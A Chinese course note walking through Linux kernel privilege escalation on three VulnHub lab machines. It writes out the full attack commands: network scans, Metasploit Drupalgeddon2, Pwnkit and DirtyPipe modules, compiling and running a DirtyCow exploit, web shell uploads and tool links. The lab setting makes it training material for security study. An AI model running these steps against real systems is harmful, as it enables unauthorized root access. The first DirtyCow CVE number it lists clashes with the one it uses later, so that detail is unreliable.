小迪安全v2023学习笔记(一百三十八讲)—— Linux系统权限提升内核溢出辅助项目VulnhubDcowPwnkitDirt
文章目录
- 权限提升——第一百三十八天
- Linux系统权限提升&内核溢出&辅助项目&Vulnhub&Dcow&Pwnkit&Dirt
- 前置知识
- Linux提权
- 收集系统信息
- 内核漏洞筛选
- MSF检测
- 提权脚本
- 综合脚本
- 漏洞检索
- 常见的内核漏洞
- 环境搭建
- Linux系统提权 - Web&内核溢出-Dcow
- 1. 信息收集
- 2. 漏洞利用
- 3. 内核提权
- Linux系统提权 - Web&内核溢出-Pwnkit
- 1. 信息收集
- 2. Web漏洞利用
- 3. 内核提权
- Linux系统提权 - Web&内核溢出-DirtyPipe
- 1. 信息收集
- 2. Web漏洞利用
- 3. 内核提权
权限提升——第一百三十八天
Linux系统权限提升&内核溢出&辅助项目&Vulnhub&Dcow&Pwnkit&Dirt
前置知识
Linux提权
-
本节课关于Linux提权,我们所处的位置如下:

-
然后它的提权方式主要集中于:
- 内核溢出漏洞提权
- suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
- 数据库类型提权
-
这里有分享一个关于Linux提权的好用网站:https://gtfobins.github.io/
收集系统信息
- 本节课我们主要是利用Linux的内核漏洞去进行提权操作,因此在这之前需要收集目标系统上的信息
- 获取目标主机的操作系统信息:
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue

- 获取目标主机的内核版本:
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"

- 这些信息都是可能会人为手动更改的,所以在实战中为了保险起见可以用多个命令看看版本是否一致
内核漏洞筛选
- 然后我们收集完版本信息之后该怎么审查出存在哪些内核漏洞呢?这里介绍几款比较好用的工具
MSF检测
- 可以直接通过MSF发现目标主机可能存在的内核漏洞:
use post/multi/recon/local_exploit_suggester
- MSF免费版不推荐使用,能够直接筛查并利用的概率较低
提权脚本
- 常用的,并且还比较好用的脚本工具有:
- https://github.com/liamg/traitor
- https://github.com/The-Z-Labs/linux-exploit-suggester:.sh文件,常用
- https://github.com/jondonas/linux-exploit-suggester-2:.pl文件
- https://github.com/belane/linux-soft-exploit-suggester:.py文件,有python环境时可以用
- 使用的时候直接上传到目标主机上运行扫描即可
综合脚本
- 然后也有不止搜索内核漏洞的,还会给出其他的提权方案工具如下:
- https://github.com/carlospolop/PEASS-ng
- https://github.com/diego-treitos/linux-smart-enumeration
- https://github.com/redcode-labs/Bashark
- https://github.com/rebootuser/LinEnum
- 同样使用的时候直接上传到目标主机运行扫描即可
漏洞检索
- 常用的漏洞检索网站:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://www.exploit-db.com/
- 或者直接github搜索对应的EXP,然后一定要注意一个不成功就多试几个,实在不行才换漏洞进行利用
常见的内核漏洞
- 在Windows中,我们经常使用土豆家族进行提权,而在Linux中,与之类似的就是大名鼎鼎的脏牛漏洞
- 当然还有一些其他的漏洞可以利用:
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
大脏牛 (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
......
环境搭建
- 本节课我们会通过三个靶机案例,来展示如何从Web权限/计算机用户权限到达计算机系统权限,并且演示上述脚本工具,学会工具的利用
- 靶场资源都是Vulhub中直接可以下载到的:Vulnerable By Design ~ VulnHub
Linux系统提权 - Web&内核溢出-Dcow
- 靶场地址:https://www.vulnhub.com/entry/lampiao-1,249/
1. 信息收集
- 这里我们启动虚拟机之后,不知道IP,也不知道开放了哪些端口,可以用nmap扫描,当然也可以用其他工具,比如Goby、Tscan都是可以的
nmap -p1-65535 192.168.0.0/24

-
我们知道了目标主机的IP地址为192.168.0.138,并且开放了Web服务,所以就直接访问看看:

-
啥也没有,再看看1898端口:

2. 漏洞利用
-
发现它所用的CMS为Drupal,于是我们直接找找看有没有能够直接利用的框架漏洞:

-
然后这里就一个个试吧,要么再收集收集看看有没有泄露版本,要么就尝试用最新的漏洞:
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.0.138
set rport 1898
run

- 此时我们已经拿到shell了,但是需要提权到高权限用户,于是我们直接使用脚本
3. 内核提权
- 因为这里是Linux,所以最好还是用shell脚本(.sh)文件进行利用,因为不用额外的环境
- 将该脚本下载到本地之后,尝试上传/让对方下载:
upload /home/kali/Desktop/linux-exploit-suggester.sh /tmp/1.sh

- 然后我们进入目标主机的shell终端,运行这个脚本文件:
cd /tmp
chmod +x 1.sh
./1.sh

-
它就会匹配可能存在的内核漏洞,在实战中就一个个试就行,这里我们就直接用这个CVE-2016-5195脏牛漏洞进行利用
-
我们确定用这个漏洞之后,就去上面给的网站搜索对应的EXP脚本了:

-
这里我们找的EXP为:https://github.com/gbonacini/CVE-2016-5195
-
EXP是CPP文件,下载下来之后,我们尽可能是在目标网站上进行编译,如果目标网站没有对应环境的话,就在本地找一个内核类似的主机进行编译
-
比如这里我在本地的kali上编译之后再上传到目标主机运行就会报错:

-
这里还是上传到目标主机上去编译,基本Linux都会装gcc,所以这个没有太大的必要担心:
upload /home/kali/Desktop/dcow.cpp /tmp/dcow.cpp
shell
cd /tmp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

- 然后这里就直接尝试运行这个文件:
chmod +x dcow
./dcow

- 这里因为漏洞提权的原理是更改
root的密码,所以我们需要进入交互式的终端才能使用su命令切换用户:
# 没有python环境可以反弹shell到其他地方
python -c 'import pty; pty.spawn("/bin/bash")'
su root
# 然后输入密码dirtyCowFun提权

Linux系统提权 - Web&内核溢出-Pwnkit
- 靶场地址:https://www.vulnhub.com/entry/darkhole-1,724/
1. 信息收集
- 同样,靶机搭建成功之后,namp搜集信息:
nmap -p1-65535 192.168.0.0/24

- 开启了Web服务,看看有没有漏洞:

2. Web漏洞利用
-
这里有个登录功能,一般尝试忘记密码、注册、SQL注入等手段看看能不能进入后台,我们随便注册个账号进入后台:

-
这里直接可以看到的是参数里面有id=2,尝试更改为1,有鉴权:

-
换个思路,看到有个更新信息和密码的功能页面,都尝试一下,然后抓包看看:

-
修改id为1,发包,也没任何反应,尝试用刚才修改的密码登录admin用户:

-
成功登入,有文件上传点,尝试文件上传:

-
然后使用哥斯拉连接:

3. 内核提权
-
上传第一个案例中的
.sh脚本文件检测内核漏洞:

-
使用哥斯拉自带的
PMeterpreter插件转到MSF中,再次运行该脚本文件:

-
然后检索这个漏洞,这里MSF中就自带了这个洞,可以尝试利用一下:

use 0
set session <n>
run

Linux系统提权 - Web&内核溢出-DirtyPipe
- 靶场地址:https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
1. 信息收集
- 用nmap先扫描一下:
nmap -p1-65535 192.168.0.0/24

-
同样开了Web服务,直接访问:

-
没啥信息,这里是CTF题,没思路就尝试扫描目录,看看有没有什么线索,可以用dirsearch、御剑、gobuster等工具扫(主要是看字典):
gobuster dir -u http://192.168.0.140 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

-
这里扫到了这个文件,点进去看看:

-
能够传入信息,然后POST提交,随便提交一个抓包看参数:

-
这里应该前面是消息内容,后面是消息保存的文件名,放包之后看看这个文件存不存在即可验证:

2. Web漏洞利用
-
于是我们想到传入一句话木马,然后将这个文件名修改为php文件,看能否创建成功:


-
成功解析,尝试哥斯拉连接:

3. 内核提权
-
与之前一样,先将他反弹到MSF中,上传
.sh脚本文件看是否存在提权漏洞:

-
找到一个DirtyPipe的内核漏洞,然后我们先在MSF中看看有没有现成的攻击脚本:

-
确实有,那就直接尝试利用:
use 0
set session <n>
set lhost 192.168.0.129
run

- 可以看到提权成功
